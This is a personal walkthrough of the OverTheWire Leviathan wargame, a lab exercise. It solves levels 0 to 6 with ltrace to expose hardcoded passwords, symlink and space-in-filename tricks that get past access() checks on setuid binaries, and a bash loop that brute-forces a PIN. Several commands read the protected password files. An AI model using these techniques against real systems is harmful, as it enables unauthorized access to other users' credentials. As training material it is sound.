--------------------------------
This is my write-up of the OverTheWire wargame Leviathan. If you notice any problems please contact me to let me know.
--------------------------------
--[ Level 0 ]
The only direction we get in this wargame is that data can be found in the home directories.
So, after we SSH in to [email protected], we can search the home directory
$ ls -aWe see
. .. .backup .bash_logout .bashrc .profileWe will check the .backup directory
$ ls ./.backupAnd we see
bookmarks.htmlOpening the file with cat revealed a large amount of text so we can narrow it down with grep
$ cd ./.backup
$ grep leviathan1 bookmarks.htmlAnd it outputs the password in the terminal.
--------------------------------
--[ Level 1 ]
When we list the contents of the home directory we see an executable file named check. When we run it, it asks for a password
$ ./check
password: 'password'
Wrong password, Good Bye ...So it seems it is testing the input against a stored string. We can run ltracer to see the library calls the script makes.
$ ltrace ./check
__libc_start_main(0x804852d, 1, 0xffffd7b4, 0x80485f0 <unfinished ...>
printf("password: ") = 10
getchar(0x8048680, 47, 0x804a000, 0x8048642password:
) = 10
getchar(0x8048680, 47, 0x804a000, 0x8048642
) = 10
getchar(0x8048680, 47, 0x804a000, 0x8048642
) = 10
strcmp("\n\n\n", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++Checking the man page for strcmp we can see that it is a C function that compares strings. Therefore, we can assume ‘sex’ is the password.
$ ./check
password: sex
$ cat /etc/leviathan_pass/leviathan2And we have the password for the next level.
--------------------------------
--[ Level 2 ]
When we list the contents of the home directory we see an executable file named printfile.
$ ./printfile
*** File Printer ***
Usage: ./printfile filenameAttempting to get into /etc/leviathan_pass/leviathan3 gives us
$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...Running ltrace on it reveals limited information
$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x804852d, 2, 0xffffd784, 0x8048600 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4) = -1
puts("You cant have that file..."You cant have that file...
) = 27
+++ exited (status 1) +++We need a file that isn’t disallowed so we can see where it goes after the access() call. It is probably best to make our own file for this purpose.
$ touch /tmp/maxmunday/file.txt
$ ltrace ./printfile /tmp/maxmunday/file.txt
__libc_start_main(0x804852d, 2, 0xffffd754, 0x8048600 <unfinished ...>
access("/tmp/maxmunday/file.txt", 4) = 0
snprintf("/bin/cat /tmp/maxmunday/file.txt"..., 511, "/bin/cat %s", "/tmp/maxmunday/file.txt") = 32
system("/bin/cat /tmp/maxmunday/file.txt"... <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++The access() call and the call to /bin/cat seem to be a bit different.
The quotes in the system() call lead me to believe that if you put two files as arguments to printfile, access() might read it as a single file, but cat will probably read it as two individual files. That might get around our file privilege problem.
I tried a few combinations until a single file with a space in the name offered some promise
$ touch /tmp/maxmunday/two\ files
$ ltrace ./printfile /tmp/maxmunday/two\ files
__libc_start_main(0x804852d, 2, 0xffffd754, 0x8048600 <unfinished ...>
access("/tmp/maxmunday/two files", 4) = 0
snprintf("/bin/cat /tmp/maxmunday/two file"..., 511, "/bin/cat %s", "/tmp/maxmunday/two files") = 33
system("/bin/cat /tmp/maxmunday/two file".../bin/cat: /tmp/maxmunday/two: No such file or directory
/bin/cat: files: No such file or directory
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++ Here we see that /bin/cat has tried to process the file two files as two and files, while access() has processed it as a single file.
Knowing this we just have to get the file two to print the contents of /etc/leviathan_pass/leviathan3.
I had tried a symbolic link previously in an attempt to get two files to pass through access() but it hadn’t worked. But with this file we should be able to do it correctly.
$ ln -s /etc/leviathan_pass/leviathan3 /tmp/maxmunday/two
$ ./printfile /tmp/maxmunday/two\ filesAnd it worked! It prints the password and a /bin/cat: files: No such file or directory to confirm to us that we were spot on.
--------------------------------
--[ Level 3 ]
Again in the home directory there is an executable. This one is called level3.
$ ./level3
Enter the password> 'password'
bzzzzzzzzap. WRONGWe run ltrace on it
$ ltrace ./level3
__libc_start_main(0x80485fe, 1, 0xffffd794, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password>
"\n", 256, 0xf7fcac20) = 0xffffd58c
strcmp("\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++Now I must admit I puzzled over the “h0no33” and “kakaka” strings inputing them into the password field and wondering what I was gettting wrong before noticing the second strcmp() call further down…
$ ./level3
Enter the password> 'snlprintf'
[Youve got shell]!
$ cat /etc/leviathan_pass/leviathan4And there we have it.
--------------------------------
--[ Level 4 ]
Listing the files in the home directory we see the directory .trash that contains the executable bin.
$ ./.trash/bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010 Seems like binary, I ran it through an online translator and the password is revealed.
--------------------------------
--[ Level 5 ]
The executable is this level is called leviathan5. Let’s run it
$ ./leviathan5
Cannot find /tmp/file.logWe will run an ltrace on it
$ ltrace ./leviathan5
__libc_start_main(0x80485ed, 1, 0xffffd7a4, 0x8048690 <unfinished ...>
fopen("/tmp/file.log", "r") = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
) = 26
exit(-1 <no return ...>
+++ exited (status 255) +++We’ll try adding a symbolic link to the password file from the /tmp/file.log file
$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
$ ./leviathan5The password prints to the terminal.
--------------------------------
--[ Level 6 ]
For this level we run the executable we have come to expect
$ ./leviathan6
usage: ./leviathan6 <4 digit code>
$ ./leviathan6 1111
WrongSo looks like we need to brute force a PIN. I modified a simple bash script from ‘Bandit’ to work here
$ nano /tmp/maxmunday/pin.sh1
2
3
4
5
6
7
8
9
#!/bin/bash
START=0000
LAST_PIN=9999
for i in `seq $START $LAST_PIN`;
do
~/leviathan6 $i
done
We then give it the appropriate permissions and run it
$ chmod 777 /tmp/maxmunday/pin.sh
$ /tmp/maxmunday/pin.shAfter the word ‘Wrong’ prints 10,000 times in the terminal, we get a shell open up
$ cat /etc/leviathan_pass/leviathan7And that is Leviathan.
--------------------------------
--------------------------------
Creative Commons Attribution 4.0 International License